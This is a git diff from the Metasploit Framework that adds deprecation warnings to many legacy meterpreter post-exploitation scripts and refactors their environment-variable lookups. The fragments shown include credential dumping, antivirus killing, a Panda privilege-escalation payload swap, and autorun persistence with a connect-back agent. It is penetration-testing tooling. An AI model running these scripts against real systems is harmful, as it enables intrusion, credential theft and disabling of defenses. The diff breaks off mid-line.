b/scripts/meterpreter/checkvm.rb index 5c824f1366..96d7ce66e6 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 001172e7c2..f54774e0e6 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index df51c47eb2..a8efd15057 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 444aa18439..6e93936f3c 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- @@ -61,7 +69,7 @@ def enum_users(os) user = @client.sys.config.getuid userpath = nil useroffcpath = nil - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + sysdrv = @client.sys.config.getenv('SystemDrive') if os =~ /Windows 7|Vista|2008/ userpath = sysdrv + "\\Users\\" lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" @@ -83,7 +91,7 @@ def enum_users(os) users << userinfo end else - uservar = @client.fs.file.expand_path("%USERNAME%") + uservar = @client.sys.config.getenv('USERNAME') userinfo['username'] = uservar userinfo['userpath'] = userpath + uservar + lnkpath userinfo['useroffcpath'] = userpath + uservar + officelnkpath diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index 9b072f511a..89caeba6ca 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by @@ -89,7 +96,7 @@ if client.platform =~ /win32|win64/ # # Upload to the filesystem # - tempdir = client.fs.file.expand_path("%TEMP%") + tempdir = client.sys.config.getenv('TEMP') tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tempexe.gsub!("\\\\", "\\") diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index bbbb91ca72..8fca66c274 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Script to extract data from a chrome installation. # @@ -195,7 +202,7 @@ host = session.session_host @log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M")) ::FileUtils.mkdir_p(@log_dir) -sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%") +sysdrive = client.sys.config.getenv('SYSTEMDRIVE') os = @host_info['OS'] if os =~ /(Windows 7|2008|Vista)/ @profiles_path = sysdrive + "\\Users\\" @@ -218,7 +225,7 @@ if is_system? print_status "users found: #{usernames.join(", ")}" else print_status "running as user '#{uid}'..." - usernames << client.fs.file.expand_path("%USERNAME%") + usernames << client.sys.config.getenv('USERNAME') prepare_railgun end diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index 704fa179c1..acd1c62880 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @@ -251,8 +258,9 @@ if client.platform =~ /win32|win64/ if frfxchk user = @client.sys.config.getuid if not is_system? - usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) - db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" + envs = @client.sys.config.getenvs('USERNAME', 'APPDATA') + usrname = envs['USERNAME'] + db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles" if kill_frfx kill_firefox end diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index 2cfd630ceb..6814320a77 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index b814acd0f4..d3fab5da07 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client @@ -22,7 +29,7 @@ def enum_users users = [] user = @client.sys.config.getuid path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + sysdrv = @client.sys.config.getenv('SystemDrive') if os =~ /Windows 7|Vista|2008/ path4users = sysdrv + "\\Users\\" @@ -43,7 +50,7 @@ def enum_users end else userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") + uservar = @client.sys.config.getenv('USERNAME') userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + profilepath users << userinfo @@ -83,7 +90,7 @@ def enum_powershell end if powershell_version =~ /2./ print_status("Powershell Modules:") - powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") + powershell_module_path = @client.sys.config.getenv('PSModulePath') @client.fs.dir.foreach(powershell_module_path) do |m| next if m =~ /^(\.|\.\.)$/ print_status("\t#{m}") diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 252c78d8c1..5eae76195b 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 19dcff1ca2..896315b7fb 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 27bd35adcc..c19a8fb200 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -223,7 +230,7 @@ def enum_users users = [] user = @client.sys.config.getuid path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + sysdrv = @client.sys.config.getenv('SystemDrive') if os =~ /7|Vista|2008/ path4users = sysdrv + "\\users\\" @@ -244,7 +251,7 @@ def enum_users end else userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") + uservar = @client.sys.config.getenv('USERNAME') userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + profilepath users << userinfo diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 18fcaa8595..cedccd5155 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 4ac88d6f56..aa1c3972f3 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 51fd9cb278..fde54cc126 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index dde47e4782..d93526b998 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( @@ -18,13 +25,12 @@ def list_env_vars(var_names) "Name", "Value" ]) - var_names.flatten.each do |v| - tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] + @client.sys.config.getenvs(*var_names.flatten).each do |k, v| + tbl << [k, v] end print("\n" + tbl.to_s + "\n") end - opts.parse(args) { |opt, idx, val| case opt when "-h" diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 55e6c2cd3d..6d87539409 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + require "rexml/document" @@ -114,7 +120,7 @@ def enum_users(os) users = [] path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + sysdrv = @client.sys.config.getenv('SystemDrive') if os =~ /7|Vista|2008/ path4users = sysdrv + "\\users\\" @@ -135,7 +141,7 @@ def enum_users(os) end else userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") + uservar = @client.sys.config.getenv('USERNAME') userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + path2purple users << userinfo diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index aec4a583be..fd503a3a38 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 9edb6df611..78d4f41d54 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" @@ -145,7 +152,7 @@ def enum_users(os) users = [] path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + sysdrv = @client.sys.config.getenv('SystemDrive') if os =~ /Windows 7|Vista|2008/ path4users = sysdrv + "\\users\\" @@ -166,7 +173,7 @@ def enum_users(os) end else userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") + uservar = @client.sys.config.getenv('USERNAME') userinfo['username'] = uservar userinfo['userappdata'] = path4users + uservar + path2purple users << userinfo diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index f27cd787dc..54c5bce348 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + #copied getvncpw - thanks grutz/carlos diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 63c1b4f1c6..804a4417e9 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. @@ -301,7 +308,7 @@ def checkdep(session) tmpout = "" depmode = "" # Expand environment %TEMP% variable - tmp = session.fs.file.expand_path("%TEMP%") + tmp = session.sys.config.getenv('TEMP') # Create random name for the wmic output wmicfile = sprintf("%.5d",rand(100000)) wmicout = "#{tmp}\\#{wmicfile}" diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f9f1d01893..ebd59c91a0 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index dc18aadb82..3f43493ea4 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -150,17 +157,15 @@ enbl = nil unsupported if client.platform !~ /win32|win64/i -if enbl +if enbl or (usr!= nil && pass != nil) message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - -elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) + if enbl + insttlntsrv() + enabletlntsrv() + end + if (usr!= nil && pass != nil) + addrdpusr(usr, pass) + end print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index e588564cf9..900bb9906f 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 022f795d9c..b53fdb5d82 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Implement pwdump (hashdump) through registry reads + syskey diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index 3a4eff2a73..7523bb2932 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. @@ -30,7 +38,7 @@ end record = "" #Set path to the hosts file -hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts" +hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts" #Function check if UAC is enabled def checkuac(session) winver = session.sys.config.sysinfo diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ff8f28dd23..3ddb44fdda 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 095fdd4c92..8e305dcd58 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 1e668389e2..861b6cc6d8 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script for installing the meterpreter service # @@ -84,7 +92,8 @@ if client.platform =~ /win32|win64/ to ||= from print_status(" >> Uploading #{from}...") fd = client.fs.file.new(tempdir + "\\" + to, "wb") - fd.write(::File.read(File.join(based, from), ::File.size(::File.join(based, from)))) + path = (from == 'metsrv.x86.dll') ? MeterpreterBinaries.path('metsrv','x86.dll') : File.join(based, from) + fd.write(::File.read(path, ::File.size(path))) fd.close end diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index a7caf76d18..c8d1a1760b 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4bf1ed6227..f9b990a5f6 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index e4719567a2..36a36e7f58 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 5a59549e29..7fd3ada276 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index 92b54b5935..dd93477b14 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 50ca71a519..e8b3fcb13d 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for ping sweeps on Windows 2003, Windows Vista #Windows 2008 and Windows XP targets using native windows commands. #Provided by Carlos Perez at carlos_perez[at]darkoperator.com diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb index 72b7d546a3..ba3e5dc1e2 100644 --- a/scripts/meterpreter/packetrecorder.rb +++ b/scripts/meterpreter/packetrecorder.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb index 9ba0d699ed..0d30420f2e 100644 --- a/scripts/meterpreter/panda_2007_pavsrv51.rb +++ b/scripts/meterpreter/panda_2007_pavsrv51.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # Panda Antivirus 2007 Local Privilege Escalation # This module exploits a privilege escalation vulnerability in @@ -69,16 +77,15 @@ elsif client.platform =~ /win32|win64/ exe = Msf::Util::EXE.to_win32pe(client.framework, raw) # Change to our working directory. - workingdir = client.fs.file.expand_path("%ProgramFiles%") - client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\") + workingdir = client.sys.config.getenv('ProgramFiles') + "\\Panda Software\\Panda Antivirus 2007\\" + client.fs.dir.chdir(workindir) # Create a backup of the original exe. print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...") client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'}) # Place our newly created exe with the orginal binary name. - tempdir = client.fs.file.expand_path("%ProgramFiles%") - tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE" + tempexe = workingdir + "PAVSRV51.EXE" print_status("Sending EXE payload '#{tempexe}'.") fd = client.fs.file.new(tempexe, "wb") diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 4e9a8aa922..33c2ba1021 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -2,6 +2,12 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + # Meterpreter Session @client = client @@ -24,13 +30,13 @@ script_on_target = nil @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-p" => [ true, "The port on which the system running Metasploit is listening"], "-i" => [ true, "The interval in seconds between each connection attempt"], "-X" => [ false, "Automatically start the agent when the system boots"], "-U" => [ false, "Automatically start the agent when the User logs on"], "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], + "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."], "-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) @@ -68,9 +74,11 @@ end #------------------------------------------------------------------------------- def create_script(delay,altexe,raw) if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay, :template => altexe}) else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay}) end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs @@ -87,9 +95,11 @@ def log_file(log_path = nil) # Create a directory for the logs if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory @@ -113,6 +123,7 @@ def write_script_to_target(target_dir,vbs) fd.write(vbs) fd.close print_good("Persistent Script written to #{tempvbs}") + tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators. file_local_write(@clean_up_rc, "rm #{tempvbs}\n") return tempvbs end @@ -142,23 +153,24 @@ def targets_exec(script_on_target) print_status("Executing script #{script_on_target}") proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) print_good("Agent executed with PID #{proc.pid}") - file_local_write(@clean_up_rc, "kill #{proc.pid}\n") return proc.pid end -# Function to insytall payload in to the registry HKLM or HKCU +# Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") + key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{key_path}\\#{nam}") + if key + registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ") + print_good("Installed into autorun as #{key_path}\\#{nam}") + file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n") else print_error("Error: failed to open the registry key for writing") end end + # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) @@ -211,13 +223,13 @@ print_status("Running Persistance Script") @clean_up_rc = log_file() print_status("Resource file for cleanup created at #{@clean_up_rc}") # Create and Upload Payload -raw = 